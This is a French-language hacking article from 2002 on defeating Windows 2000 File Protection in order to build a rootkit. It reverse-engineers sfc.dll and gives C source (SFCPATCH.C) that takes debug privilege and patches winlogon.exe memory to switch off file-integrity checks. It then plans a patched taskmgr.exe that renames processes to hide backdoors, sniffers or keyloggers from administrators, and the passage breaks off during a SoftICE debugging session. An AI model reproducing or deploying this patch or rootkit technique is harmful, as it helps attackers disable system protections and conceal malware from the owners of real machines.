Cracking the Windows File Protection

15/07/2002
/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/
*/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/*

Cracking the Windows File Protection.

A Maciavelic Win32 Rootkit Approch,

By ThreaT & Crazylord.

/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/
*/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/*


Table des matières
******************

...I/ Introduction.

..II/ Etude de fonction.

------> 2.a) Présentation de la WFP (Windows File Protection).
------> 2.b) Petite session de reversing dans le SFC (System File Checker).
------> 2.c) Construction d'un outil pour maîtriser la bête.

.III/ La pratique.

------> 3.a) Approche rootkital d'un FSP (Fichier Système Protégé).
------> 3.b) Reversing, et construction d'un rootkit dédié au FSP.
------> 3.c) Implémantation de l'anti-WFP, et démonstration d'attaque.

..IV/ Fin.

/**************************************************************************************
I. INTRODUCTION
***************************************************************************************/

Malgré tout ce qui peut être dit ou pensé, devenir hacker win32 dans le sens propre
du terme, c'est à dire étudier le système jusqu'à ses profondeurs les plus extrèmes,
est une chose beaucoup plus dificile que ce que la majorité peut penser.

Une documentation incomplète, une politique Closed-Source et une communauté peut
impliquée dans le domaine accroissent les difficultés du passioné chevronné.

Il faut savoir que devenir GOUROU linux / unix est relativement faisable, car
la documentation est abondante, et les codes sources consultables très facilement
(chose faisant l'une des forces principale de ce système)
Mais devenir GOUROU win32 est une toute autre paire de manche, car cela implique des nuits
entière à discuter avec son microprocesseur en ASM, chercher des docs obscures (pour
la plupart rédigées par Microsoft) et faire face à l'incompréhension collective générée
par le fameux windows 98 dont l'architecture est une pure boucherie.

Les personnes talentueuses se retrouvent alors face à une communauté montrant du doigt tout
ce qui porte le nom de WINDOWS, et de ce fait denigre la technologie NT au même titre
que la technologie 9x, malgré le fait que ces 2 systèmes soientt du point de vue architecture
complètement >>DIFFERENTS<< !

Pour tenter de redorer le blason des hackers NT, et ainsi apporter notre contribution
dans l'approche d'attaque bas niveau de cet OS, cet article va porter sur la corruption
du système de protection de fichier implanté dans windows 2000, en essayant d'apporter
une solution technique, appuyée d'un petit exemple concret.

C'est parti !

/**************************************************************************************
II. ETUDE DE FONCTION
***************************************************************************************/


/
2.A Présentation de la WFP
//

Pour commencer à se mettre dans le bain, faisons un tour sur le site de microsoft pour
en savoir un peut plus sur cette fonctionnalité de protection de fichier windows.

http://support.microsoft.com/default.aspx?scid=http://www.microsoft.com/intlkb/France/articles
/F222/1/93.ASP

-

Les versions antérieures du système d'exploitation Windows n'empêchent pas les fichiers
système partagés d'être écrasés par des programmes d'installation. Une fois que ces
modifications sont effectuées, l'utilisateur est souvent confronté à des résultats inattendus,
tels que des erreurs de programme ou une instabilité du système d'exploitation. Ce problème
concerne plusieurs types de fichiers, plus communément les fichiers de bibliothèques de liaisons
dynamiques (.dll) et les fichiers programmes (.exe).

Windows 2000 comprend une nouvelle fonctionnalité appelée Protection de fichier Windows qui
empêche certains fichiers système contrôlés d'être remplacés. Le remplacement de certains
fichiers système contrôlés permet d'éviter des différences entre les versions de fichiers.

La Protection de fichier Windows utilise les signatures de fichier et les fichiers catalogue
générés par la signature du code pour vérifier si les fichiers système protégés sont des
versions Microsoft appropriées. La Protection de fichier Windows ne génère aucune signature.


Fonctionnement de la fonctionnalité Protection de fichier Windows
-----------------------------------------------------------------

La fonctionnalité Protection de Fichier Windows assure la protection des fichiers système
grâce à deux mécanismes (distincts). Le premier mécanisme est traité à l'arrière plan.
La Protection de fichier est implémentée lorsque que la modification d'un fichier d'un
dossier protégé vous est signalée. À la réception de cette notification, la Protection de
fichier Windows détermine quel fichier a subi une modification. Si le fichier est protégé,
la Protection de fichier Windows recherche la signature du fichier dans un fichier catalogue
pour définir si le nouveau fichier est d'une version correcte de Microsoft. Si ce n'est pas
le cas, le fichier est remplacé à partir du dossier Dllcache (s'il se trouve dans le dossier
Dllcache) ou à partir du média de distribution. Par défaut, la Protection de fichier Windows
affiche la boîte de dialogue suivante à l'administrateur, où 'nom_fichier' est le nom du fichier:

#------------------------------------------------------------------------------#
| Tentative de remplacement du fichier système protégé 'nom_fichier'. |
| Pour conserver la stabilité du système, ce fichier a été restauré |
| dans la version correcte de Microsoft. Si un problème se produit |
| avec votre application, contactez le support technique de votre revendeur. |
#------------------------------------------------------------------------------#

Le second mécanisme de protection fourni par la Protection de fichier Windows est l'utilitaire
Vérificateur des fichiers système (Sfc.exe). Au terme de l'installation de la partie GUI,
l'utilitaire Vérificateur des fichiers système analyse tous les fichiers protégés pour s'assurer
qu'ils ne sont pas modifiés par des programmes ayant été installés sans assistance. L'utilitaire
Vérificateur des fichiers système parcourt également tous les fichiers catalogue utilisés pour le
suivi des versions de fichiers correctes. Si l'un des fichiers catalogue est manquant ou
endommagé, la Protection de fichier Windows renomme le fichier catalogue concerné et récupère
une version mise en cache de ce fichier à partir du dossier Dllcache. Si une copie mise en cache
du fichier catalogue n'est pas disponible dans le dossier Dllcache, la Protection de fichier
Windows requiert le support approprié pour récupérer une nouvelle copie du fichier catalogue.

L'utilitaire Vérificateur de fichiers système donne la possibilité à l'administrateur d'analyser
tous les fichiers protégés pour vérifier leurs versions. L'utilitaire Vérificateur de fichiers
système vérifie également et remplit à nouveau le dossier %SystemRoot%System32Dllcache.
Si le dossier Dllcache est endommagé ou mis hors d'usage, vous pouvez utiliser la commande
sfc /scanonce ou sfc /scanboot à l'invite de commande pour réparer le contenu du fichier.

Tous les fichiers .sys, .dll, .exe, .ttf, .fon et .ocx qui se trouvent sur le CD-ROM Windows 2000
sont protégés. Toutefois, pour des raisons d'espace disque disponible, il n'est pas souhaitable
de conserver toutes les versions des fichiers mis en cache dans le dossier Dllcache sur tous les
ordinateurs.

Selon la taille de la valeur SFCQuota dans la clé de registre
HKEY_LOCAL_MACHINESoftwareMicrosoftWindows NTCurrentVersionWinlogon (la taille par défaut
est 0xFFFFFFFF ou 400 Mo), la Protection de fichier Windows stocke les versions de fichiers
vérifiés et mis en cache dans le dossier Dllcache sur le disque dur. Le paramètre SFCQuota peut
être défini dans la taille souhaitée par l'administrateur. Notez que si vous définissez la valeur
SFCQuota à 0xFFFFFFFF, la Protection de fichiers Windows met en cache tous les fichiers système
protégés (environ 2 700 fichiers).

Si une modification de fichier est détectée par la Protection de fichier Windows, le fichier
concerné ne se trouve pas dans le dossier Dllcache, et le fichier correspondant utilisé par le
système d'exploitation est d'une version correcte, la Protection de fichier Windows copie cette
version du fichier dans le dossier Dllcache. Si le fichier concerné utilisé par le système
d'exploitation n'est pas d'une version correcte ou que le fichier n'est pas mis en cache dans le
dossier Dllcache, la Protection de fichier Windows tente de localiser le support d'installation.
Si ce dernier n'est pas détecté, la Protection de fichier Windows invite un administrateur à
insérer le support approprié pour remplacer le fichier ou la version du fichier Dllcache.

La valeur SFCDllCacheDir ( REG_EXPAND_SZ ) dans la clé de registre
HKEY_LOCAL_MACHINESoftwareMicrosoftWindows NTCurrentVersionWinlogon précise l'emplacement
du dossier Dllcache. Les données par défaut pour la valeur SFCDllCacheDir est
%SystemRoot%System32. La valeur SFCDllCacheDir peut être un chemin d'accès local.

Par défaut, la valeur SFCDllCacheDir n'apparaît pas dans la clé de registre
HKEY_LOCAL_MACHINESoftwareMicrosoftWindows NTCurrentVersionWinlogon .
Pour modifier l'emplacement du cache, vous devez ajouter cette valeur.

-

Hum, voyons ce que nous pouvons tiré d'interessant de tout ceci

-> Les binaires de remplacement sont placés dans %systemroot%system32dllcache
-> Un outil appellé SFC.exe permet de controller les fichiers protégés
-> il est possible de manipuler certaines fonctions directement dans la BDR


Essayons d'en savoir un peu plus sur cet outil de vérification de fichier

C:>sfc

Vérificateur des fichiers Windows Microsoft(R) Windows 2000 Version 5.00
(C) 1999 Microsoft Corp. Tous droits réservés.

Vérifie les fichiers système protégés (FSP) et remplace les fichiers de version
incorrecte par les versions correctes Microsoft.

SFC [/SCANNOW] [/SCANONCE] [/SCANBOOT] [/CANCEL] [/ENABLE] [/PURGECACHE] [/CACHESIZE=x] [/QUIET]


/SCANNOW Vérifie tous les FSP immédiatement.
/SCANONCE Vérifie tous les FSP une fois au prochain démarrage.
/SCANBOOT Vérifie tous les FSP à chaque démarrage.
/CANCEL Annule toutes les vérifications en attente des FSP.
/QUIET Remplace tous les fichiers de version incorrecte sans notification.

/ENABLE Active la Protection de fichiers Windows pour un fonctionnement normal.
/PURGECACHE Vide le cache des fichiers et vérifie les FSP immédiatement.
/CACHESIZE Définit la taille du cache des fichiers.


Nous pouvons noter qu'il nous est possible de désactiver la WFP grace à la commande
sfc /cancel.

Quelques recherches suplemantaires revèlerons qu'il est aussi possible de désactiver la WFP
par une clé de registre, mais la désactivation ne sera effectuée qu'au prochain redémarrage
de la machine.

Notre but est donc de trouver un moyen de corrompre le vérificateur des fichiers système,
afin de manipuler celui ci comme bon nous semble.

ok, étudions un peu cela.



2.B Petite session de reversing dans le SFC
//

Lançons nous avec Crazylord dans le monde merveilleux du SFC, en faisant
un petit cheminement des différents appels systèmes invoqués par la WFP.

----------------------------------

--> : call
==> : lance un thread

----------------------------------
winlogon.exe --> sfc_1()

SfcBuildDirectoryWatchList()
SfcScanProtectedDll()
SfcStartProtectedDirectoryWatch()
==> SfcWatchProtectedDirectoriesThread()
--> SfcCreateWatchDataEntry()
--> NtCreateEvent()
--> SfcStartDirWatch()
--> RpcpInitRpcServer()
--> RpcpStartRpcServer()
==> SfcWatchProtectedDirectoriesWorkerThread()
--> NtWaitForMultipleObjects()
--> SfcFindProtectedFile()
--> SfcQueueValidationRequest()
==> SfcQueueValidationThread()
--> NtWaitForMuiltipleObjects()
--> pCryptCATAdminAcquireContext()
--> SfcOpenFile()
--> SfcValidateDll()
--> SfcSyncCache()
--> SfcRestoreFromCache()
--> SfcGetSourceInformation()
--> SfcQueueLookForFile()
--> SfcQueueAddFileToRestoreQueue()
--> SfcQueueCommitRestoreQueue()
==> pSfcRestoreFromMediaWorkerThread()
--> SfcQueueResetQueue()
--> pSfcHandleAllOrphannedRequests()
--> SfcStartDirWatch()
--> NtNotifyChangeDirectoryFile()
--> NtWaitForSingleObject()

----------------------------------

Nous remarquons dans ce petit schéma d'execution que le thread
SfcWatchProtectedDirectoriesWorkerThread() fait un appel à la fonction
SfcFindProtectedFile() pour connaitre le prochain fichier à analyser.

Pour ceux qui ne possèderaient pas les symbols win2k (moi par exemple), il faut savoir
que SfcFindProtectedFile() est une fonction exportée de sfc.dll se situant à l'adresse 76933CD9.

-

* SfcFindProtectedFile() Referenced by a CALL at Addresses:
|:76932B05 , :76932FF9 , :76933443 , :76933D46 , :76934104
|:7693771E

:76933CD9 FF742408 push [esp+08]
:76933CDD FF742408 push [esp+08]
:76933CE1 68E80E9476 push 76940EE8
:76933CE6 E888F7FFFF call 76933473
:76933CEB C20800 ret 0008

-

Si nous suivons notre schéma, l'appel de SfcFindProtectedFile() est suivi
d'un call de la fonction SfcQueueValidationRequest().

Nous allons regarder parmi les adresses référencées (76932B05,76932FF9,76933443,76933D46,
76934104,7693771E) quelles sont les fonctions faisant un appel à SfcQueueValidationRequest()
lors d'un saut conditionnel.

Pour information, SfcQueueValidationRequest() est exportée à l'adresse 76933F3A

-

* SfcQueueValidationRequest() Referenced by a CALL at Addresses:
|:76933FD3 , :76934164
|
:76933F3A 56 push esi
:76933F3B 8B742408 mov esi, dword ptr [esp+08]
:76933F3F 6A00 push 00000000
:76933F41 685B0C0000 push 00000C5B
:76933F46 6800100000 push 00001000
:76933F4B 8D4608 lea eax, dword ptr [esi+08]
:76933F4E FF7610 push [esi+10]
:76933F51 50 push eax
:76933F52 6A00 push 00000000
:76933F54 6A00 push 00000000
:76933F56 FF7604 push [esi+04]
:76933F59 FF36 push dword ptr [esi]

-

Après une recherche acharnée, on tombe sur ceci

:769340FF 8D043F lea eax, dword ptr [edi+edi]
:76934102 50 push eax ;<-push la taille du fichier à analyser
:76934103 56 push esi ;<-push le nom du fichier à analyser
:76934104 E8D0FBFFFF call 76933CD9 ;SfcFindProtectedFile
:76934109 85C0 test eax, eax ;<- Si c'est pas bon
:7693410B 8945F4 mov dword ptr [ebp-0C], eax
:7693410E 743D je 7693414D ; jump to *1=>


[...]

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:7693410E(C), :7693413D(U)
|


:7693414D 8B03 mov eax, dword ptr [ebx] ;<=*1 (jump ici)
:7693414F 85C0 test eax, eax
:76934151 740A je 7693415D ;saute a *2=>
:76934153 8B55FC mov edx, dword ptr [ebp-04]
:76934156 03D8 add ebx, eax
:76934158 E949FFFFFF jmp 769340A6

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:76934151(C)
|
:7693415D 8B45FC mov eax, dword ptr [ebp-04] ; <=*2
:76934160 83C0E8 add eax, FFFFFFE8
:76934163 50 push eax
:76934164 E8D1FDFFFF call 76933F3A ;SfcQueueValidationRequest
:76934169 85C0 test eax, eax
:7693416B 0F85F3FEFFFF jne 76934064

-

Si la fonction SfcFindProtectedFile retourne 0, celle ci passe à travers
SfcQueueValidationRequest()

La chose qui convient de faire est de patcher comme suit :

:76934104 E8D0FBFFFF call 76933CD9 ;SfcFindProtectedFile
:76934109 85C0 test eax, eax
:7693410B 8945F4 mov dword ptr [ebp-0C], eax
:7693410E 753B jne 7693414D ;<- patched

Mais SFC.dll est située en shared memory, il est donc impossible de la patcher en dur !

La seul solution est de la patcher directement en mémoire en s'appropriant le debug
privilège.

ce qui donne :

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
SFCPATCH.C
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
#include <stdio.h>
#include <windows.h>
#include "Whl.h"

//#pragma comment(lib, "Whl")

#define ADDRESS 0x76934110

void usage(char *n) {
printf("usage: %s [/p | /u] ", n);
printf(" /p: patch sfc.dll in memory ");
printf(" /u: unpatch sfc.dll in memory ");
exit(0);
}

int main(int argc, char **argv) {
BOOL mode;
PWHL_PROCESS WhlProcess;
UCHAR Buffer[2];
UCHAR OldBuffer[2];

printf(" * Sfc.dll 2 byte patch by crazylord :) * ");

if (argc != 2)
usage(argv[0]);

if (strcmp(argv[1], "/p") == 0) {
mode = 0;
} else if (strcmp(argv[1], "/u") == 0) {
mode = 1;
} else
usage(argv[0]);

if (WhlInit()) {
printf(" * debug privilege set ");
} else {
printf("error (%i): %s ", WhlCurrentAction, WhlError);
return(0);
}

WhlProcess = WhlGetProcessInfo("winlogon.exe");
if (WhlProcess == 0) {
printf("error (%i): %s ", WhlCurrentAction, WhlError);
return(0);
}

// first 2 byte of "mov edi, [eax+10h]"
OldBuffer[0] = 0x8b;
OldBuffer[1] = 0x78;
Buffer[0] = 0x75;
Buffer[1] = 0x3b;

if (mode == 0) {
if (WhlCheckAndWriteProcessMemory(WhlProcess,
(PVOID) ADDRESS,
OldBuffer,
Buffer,
2)) {
printf(" * mem patched ! (%i) ", WhlCurrentAction);
} else {
printf("error (%i): %s ", WhlCurrentAction, WhlError);
}
} else {
if (WhlCheckAndWriteProcessMemory(WhlProcess,
(PVOID) ADDRESS,
Buffer,
OldBuffer,
2)) {
printf(" * mem patched ! (%i) ", WhlCurrentAction);
} else {
printf("error (%i): %s ", WhlCurrentAction, WhlError);
}
}

if (WhlReadProcessMemory(WhlProcess, (PVOID) 0x76934110, Buffer, 2)) {
printf(" * 0x%x: %x%x ", ADDRESS, Buffer[0], Buffer[1]);
} else {
printf("error (%i): %s ", WhlCurrentAction, WhlError);
}


CloseHandle(WhlProcess->ProcessHandle);
free(WhlProcess);
return(0);
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
EOF
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=


///
2.C Construction d'un outil pour maitriser la bête.
/

Finalisons notre approche d'étude de la WFP en créant un outil s'appuyant sur les fonctions
du SFC.

Voici la documentation que nous pouvons trouver sur le site de microsoft à ce sujet :

-

La fonction SfcIsFileProtected détermine si le fichier spécifié est protégé

BOOL SfcIsFileProtected(
HANDLE RpcHandle,
LPCWSTR ProtFileName
);

La fonction SfcGetNextProtectedFile restitue la liste complète des fichiers protégés

BOOL SfcGetNextProtectedFile(
HANDLE RpcHandle,
PPROTECTED_FILE_DATA ProtFileData
);

ProtFileData est une structure recevant les informations après l'execution de la fonction

typedef struct _PROTECTED_FILE_DATA {
WCHAR FileName[MAX_PATH];
DWORD FileNumber;
} PROTECTED_FILE_DATA, *PPROTECTED_FILE_DATA;

-

Très bien, laissons crazylord jouer avec ces informations, pour qu'il nous ponde un
outil de vérification de fichier protégé :)


=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
SFCUSE.C, by Crazylord
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
#include <stdio.h>
#include <conio.h>
#include <windows.h>

typedef struct _PROTECTED_FILE_DATA {
WCHAR FileName[MAX_PATH] ;
DWORD FileNumber ;
} PROTECTED_FILE_DATA, *PPROTECTED_FILE_DATA ;

void usage(char *n) {
printf("Usage: %s <option> ", n);
printf(" /a: display all protected files ");
printf(" /f <file>: tell if this file is protected ");
exit(0);
}

int main(int argc, char **argv) {
char mode;
HMODULE hDll;
FARPROC pSfcIsFileProtected, pSfcGetNextProtectedFile;
WCHAR FileName[MAX_PATH];
PROTECTED_FILE_DATA data;

if (argc < 2) {
usage(argv[0]);
}

if (strcmp(argv[1], "/a") == 0) {
mode = 1;
} else if (strcmp(argv[1], "/f") == 0 && argc == 3) {
mode = 2;
} else
usage(argv[0]);

hDll = LoadLibrary("sfc.dll");
if (hDll == NULL) {
printf("error: LoadLibrary ") ;
return(0);
}

pSfcIsFileProtected = GetProcAddress(hDll, "SfcIsFileProtected");
pSfcGetNextProtectedFile = GetProcAddress(hDll, "SfcGetNextProtectedFile");
if (!pSfcIsFileProtected || !pSfcGetNextProtectedFile) {
printf("error: GetProcAddress ");
FreeLibrary(hDll);
return(0);
}

if (mode == 2) {
MultiByteToWideChar(CP_ACP,
0,
argv[2],
-1,
FileName,
MAX_PATH);

if (pSfcIsFileProtected(NULL, FileName)) {
printf("* %s is protected ", argv[2]);
} else {
printf("* %s is not protected ", argv[2]);
}
} else {
printf("Protected file: ");
data.FileNumber = 0;

while(pSfcGetNextProtectedFile(NULL, &data) != 0) {
if (data.FileNumber != 0 && !(data.FileNumber%10)) {
printf(" < 'q' for quit > ");
if (getch() == 'q')
break;
}
printf("* %ws ", &data.FileName);
}
}

FreeLibrary(hDll);
return(0);
}

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=


D:projet askmgrDebug>sfcuse
Usage: sfcuse <option>
/a: display all protected files
/f <file>: tell if this file is protected

D:projet askmgrDebug>sfcuse /a
Protected file:
* c:program filesfichiers communsmicrosoft sharedweb server extensions40is
api/_vti_admadmin.dll
* c:program filesfichiers communsmicrosoft sharedweb server extensions40/_v
ti_bin/_vti_admadmin.exe
* c:winntsystem32admwprox.dll
* c:winntsystem32adsiis.dll
* c:winntsystem32asycfilt.dll
* c:winntsystem32atmlib.dll
* c:program filesfichiers communsmicrosoft sharedweb server extensions40is
api/_vti_autauthor.dll
* c:program filesfichiers communsmicrosoft sharedweb server extensions40/_v
ti_bin/_vti_autauthor.exe
* c:winntsystem32inetsrvcertmap.ocx

< 'q' for quit >

D:projet askmgrDebug>

/**************************************************************************************
III. LA PRATIQUE
***************************************************************************************/


3.A Approche rootkital d'un FSP.

Maintenant que nous pouvons jouer avec la WFP comme bon nous semble, penchons nous sur
une chose plus interressante, c'est à dire réaliser un rootkit dedié à un FSP sans que
la WFP ne vienne ternir nos projets maciaveliques :)

Pour votre information, j'ai déjà créé un rootkit pour un FSP de win2k (cf : nethide.txt)
mais celui ci n'inclue pas l'anti-WFP. (houtch !)

Ceux qui ont eu l'occasion de le tester on du remarquer le petit message d'avertissement
signalant qu'un fichier système à été modifié. Nous allons faire en sorte que cela n'arrive
plus à l'avenir, mais pour cet article, je vous prépars un tout autre projet rootkital afin
de ne pas tomber dans le déjà vu.

Etudions ensemble une approche d'attaque pour TASKMGR.EXE
---------------------------------------------------------

Pour ceux qui debarqueraient dans le monde méconnue de NT, taskmgr.exe est le gestionnaire
des taches permettant de visualiser l'état des processus actifs sur le système.

L'appel de celui ci s'effectue de 3 façons :

- CTRL+ALT+SUPPR puis cliquer sur 'GESTIONNAIRE DES TACHES'
- CTRL+SHIFT+ECHAP
- Démarrer -> executer -> taskmgr

En utilisant le petit tool réalisé un peu plus haut (sfcuse), nous pouvons verifier
facilement si taskmgr est bien un FSP.

D:projet askmgrDebug>sfcuse /f %systemroot%system32 askmgr.exe
* C:WINNTsystem32 askmgr.exe is protected

Observons comment se présente l'application, et determinons comment modifier
celle ci dans le but d'obtenir un avantage dans le cas d'une attaque.

D:projet askmgrDebug>taskmgr

____________ _________ ____________
|Applications|Processus|Performances|
######################################################################
# Nom de l'image # PID # CPU # Temps UC # Util. mémoire #
######################################################################
|Processus inactif du système | 0 | 99 | 8:41:22 | 16 ko |
|System | 8 | 00 | 0:01:34 | 212 ko |
|smss.exe | 156 | 00 | 0:00:00 | 344 ko |
|csrss.exe | 184 | 00 | 0:00:12 | 2 420 ko |
|winlogon.exe | 204 | 00 | 0:00:02 | 1 192 ko |
|services.exe | 232 | 00 | 0:00:04 | 5 384 ko |
|lsass.exe | 244 | 00 | 0:00:00 | 4 556 ko |
|svchost.exe | 412 | 00 | 0:00:01 | 2 072 ko |
|SPOOLSV.exe | 440 | 00 | 0:00:00 | 2 920 ko |
|cmd.exe | 752 | 00 | 0:00:00 | 964 ko |
. . . . . .
. . . . . .
. . . . . .
. . . . . .


Pas de surprise, taskmgr nous retourne un tableau des processus en activité, ce qui
peut permettre à un administrateur du dimanche de déceler facilement d'evantuels
backdoors, sniffers ou keyloggers :(

Voici alors l'attaque que j'ai décidé d'adopter :

Nous allons patcher TASKMGR.EXE de façon à pouvoir renommer n'importe quel processus !

il faudra que notre rootkit prenne en compte les spécifications suivantes :

- Désactiver la WFP pour ne pas créer d'alerte (le but de l'article).
- Indiquer le nom du processus à renommer et le nouveau nom qui devra être affiché à la place.
- Patcher les binaires placés dans system32 et dllcache.
- Réactiver la WFP après notre attaque.
- Connaitre l'état de taskmgr gràce à une option spécifique (déjà rootkitée ou non?) et si
oui, quel est le processus visé.

Une fois le rootkit opérationnel, n'importe quel débutant devras être capable de renommer
un processus au nom évocateur en quelque chose de plus perturbateur, dans le but de brouiller
les pistes, ou de faire flipper un ami admin ;)

Lançons nous dans la conception...

/
3.B Reversing, et construction d'un rootkit dédié au FSP.

Dans cette partie, je pars du principe que vous avez quelques notions en ASM / C / API win32
et que vous connaissez vaguement des outils tels que softice et windasm.


Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.

C:>net start ntice

Le service NTice a démarré.


C:>


Très bien, on va commencer par dessassembler taskmgr.exe et regarder si une fonction
de traitement de processus est dans le coin.

[...]
KERNEL32.lstrcpyW
KERNEL32.lstrlenW
KERNEL32.MultiByteToWideChar
KERNEL32.OpenProcess <--- HANDLE OpenProcess(DWORD fdwAccess,BOOL fInherit,DWORD IDProcess)
KERNEL32.ReleaseMutex
KERNEL32.SetEvent
KERNEL32.SetPriorityClass
KERNEL32.SetProcessAffinityMask
KERNEL32.SetProcessShutdownParameters
KERNEL32.TerminateProcess
KERNEL32.VerifyVersionInfoW
KERNEL32.VirtualAlloc
KERNEL32.VirtualFree
KERNEL32.WaitForSingleObject
ntdll._alldiv
ntdll._allmul
ntdll._chkstk
[...]

Regardons comment tout ça réagit dans la pratique

CTRL+D
-------------[console softice]----------------
:bpx OpenProcess
:x
----------------------------------------------
de retour a win32

CTRL+SHIFT+ECHAP <- j'apelle taskmgr

=============================[console softice]===================================

Break due to BPX KERNEL32!OpenProcess (ET=1.26 seconds)

:P RET (ou F12 dans les configs par défaut)
:u eip-65 <-- on regarde le code placé 100 bytes avant le break point

------------------------------------------------------------PROT32------------------
001B:01006E4D 3B8FAC000000 cmp ecx, dword ptr [edi+000000AC] <-- ecx ?
001B:01006E53 7419 jz 01006E6E
001B:01006E55 808E9E00000080 or byte ptr [esi+0000009E], 80
001B:01006E5C 8B8FA8000000 mov ecx, dword ptr [edi+000000A8] <-- ecx ?
001B:01006E62 894E78 mov dword ptr [esi+78], ecx <-- ecx ?
001B:01006E65 8B8FAC000000 mov ecx, dword ptr [edi+000000AC] <-- ecx ?
001B:01006E6B 894E7C mov dword ptr [esi+7C], ecx <-- ecx ?
001B:01006E6E 8B8E80000000 mov ecx, dword ptr [esi+00000080] <-- ecx ?
001B:01006E74 3B8FB0000000 cmp ecx, dword ptr [edi+000000B0] <-- ecx ?
001B:01006E7A 750E jnz 01006E8A
001B:01006E7C 8B8E84000000 mov ecx, dword ptr [esi+00000084] <-- ecx ?
001B:01006E82 3B8FB4000000 cmp ecx, dword ptr [edi+000000B4] <-- ecx ?
001B:01006E88 741F jz 01006EA9
001B:01006E8A 808E9F00000001 or byte ptr [esi+0000009F], 01
001B:01006E91 8B8FB0000000 mov ecx, dword ptr [edi+000000B0] <-- ecx ?
001B:01006E97 898E80000000 mov dword ptr [esi+00000080], ecx <-- ecx ?
001B:01006E9D 8B8FB4000000 mov ecx, dword ptr [edi+000000B4] <-- ecx ?
001B:01006EA3 898E84000000 mov dword ptr [esi+00000084], ecx <-- ecx ?
001B:01006EA9 FF7608 push [esi+08]
001B:01006EAC 6A00 push 00000000
001B:01006EAE 50 push eax
001B:01006EAF FF1524110001 Call KERNEL32.OpenProcess <-- notre break point
001B:01006EB5 8B1DE0110001 mov ebx, USER32.GetGuiResources
--------------------------------------------------------------------------------------

Nous remarquons pour ce premier point d'arrêt que ECX est beaucoup solicité, étudions
les réactions de ce registre dans la suite...

--------------------------------------------------------------------------------------
:X (ou F5 ou CTRL+D)

Break due to BPX KERNEL32!OpenProcess (ET=222.03 Microseconds)

-------Etat des registres-------------------------------------------------------------
EAX=00000008 EBX=00077590 ECX=00081978 EDX=00000004 ESI=007A00F8
EDI=00000000 EBP=0006F2B8 ESP=0006F078 EIP=77E83C19
---------------------------------------------------------------------------------------

petit commentaire :

Déjà, vous remarquez que EIP=77E83C19, ce qui signifie que l'état des registres est capturé
quand le programme entre dans le point d'entrée de kernel32!OpenProcess.

c'est à ce moment là que les choses sont les plus flagrantes, car si nous regardons dans
ECX (81978) on remarque qu'il pointe sur une zone memoire interressante.

Je vous laisse juger par vous même

---------------------------------------------------------------------------------------
:dd ecx
---------------------------------------------------------------------------------------

0023:00081978 00000000 00000000 00000000 00000000 ................
0023:00081988 00000000 00005757 4A548430 0000002A ....WW..0.TJ*...
[...]
0023:00081A68 00050002 00080100 00500043 00000055 ........C.P.U...
0023:00081A78 00020004 000e0100 00650054 0070006D ........T.e.m.p.
0023:00081A88 00200073 00430055 00200000 0060006D s. .U.C.. .`.`.
0023:00081A98 00040005 000C0100 00740055 006C0069 ........U.t.i.l.
0023:00081AA8 0020002E 0062006D 006F006D 00720062 .. .m...m.o.i.r.
0023:00081AB8 00000065 00001000 00050030 00080100 e.......=.......
[...]
0023:00081CA8 003D0009 000E0100 00720050 0063006F ..=.....P.r.o.c.
0023:00081CB8 00730065 00750073 00200073 006E0069 e.s.s.u.s. .i.n.
0023:00081CC8 00630061 00690074 00200066 00750064 a.c.t.i.f. .d.u.
0023:00081CD8 00730020 00730079 00E80074 0065006D .s.y.s.t...m.e.
[...]
0023:00081FD8 00000000 00000000 00000000 00000000 ................
0023:00081FE8 00000000 00000000 00000000 00000000 ................
0023:00081FF8 00000000 00000000 00000000 00000000 ................
0023:00082008 00000000 00000000 ???????? ???????? ................
0023:00082018 ???????? ???????? ???????? ???????? ................

---------------------------------------------------------------------------------------

Well, ça ce passe presque de commentaire :)

En analysant l'adresse pointée par ECX, nous sommes tombés en plein dans le Heap utilisé
par taskmgr pour traiter ses chaines de caractères.

Pour en avoir le coeur net, continuons à nous focaliser sur ce buffer.

Nous allons passer differents break points et observer sa réaction.

---------------------------------------------------------------------------------------
:x
Break due to BPX KERNEL32!OpenProcess (ET=418.30 Microseconds)
:x
Break due to BPX KERNEL32!OpenProcess (ET=421.25 Microseconds)
---------------------------------------------------------------------------------------

Yo, le Heap a changé !

---------------------------------------------------------------------------------------
:ed
---------------------------------------------------------------------------------------
[...]
0023:00081DA8 00150003 000A0100 00790053 00740073 ........S.y.s.t.
0023:00081DB8 006D0065 00000000 00030048 00001000 e.m.....H.......
[...]
---------------------------------------------------------------------------------------
Trippant non !

un autre :)
---------------------------------------------------------------------------------------
:x
Break due to BPX KERNEL32!OpenProcess (ET=366.26 Microseconds)
:x
Break due to BPX KERNEL32!OpenProcess (ET=391.02 Microseconds)
:ed
---------------------------------------------------------------------------------------
[...]
0023:00081E68 00150004 000E0100 066D0073 00730073 ........s.m.s.s.
